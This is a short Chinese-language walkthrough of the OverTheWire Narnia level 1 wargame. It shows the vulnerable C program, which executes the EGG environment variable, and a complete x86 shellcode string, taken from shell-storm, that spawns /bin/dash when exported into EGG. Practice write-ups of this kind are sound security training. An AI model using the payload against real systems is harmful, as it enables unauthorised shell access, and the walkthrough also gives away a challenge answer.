首页 > 代码库 > Wargame narnia level 1 (中文攻略)

Wargame narnia level 1 (中文攻略)

    拿着我们的第0关得到的密码XXXX进入第1关

ssh narnia1@narnia.labs.overthewire.org

cat narnia1.c

#include <stdio.h>

int main()
{
int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }

这个程序意思也很明显,判断一下环境变量EGG是否为空,然后跳到EGG执行(即执行EGG里面的指令)

    所以……   在EGG里面放一个execv(),也就可以执行了。

可以用

export     变量名= $‘  shellcode‘               来改变环境变量 

 

Shellcode的话,可以自己写,也可以找现成的。

我用的是别人写好的。 

http://shell-storm.org/shellcode/files/shellcode-756.php    execv()

\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43

 

image

 

 

222

 

    OK,成功了。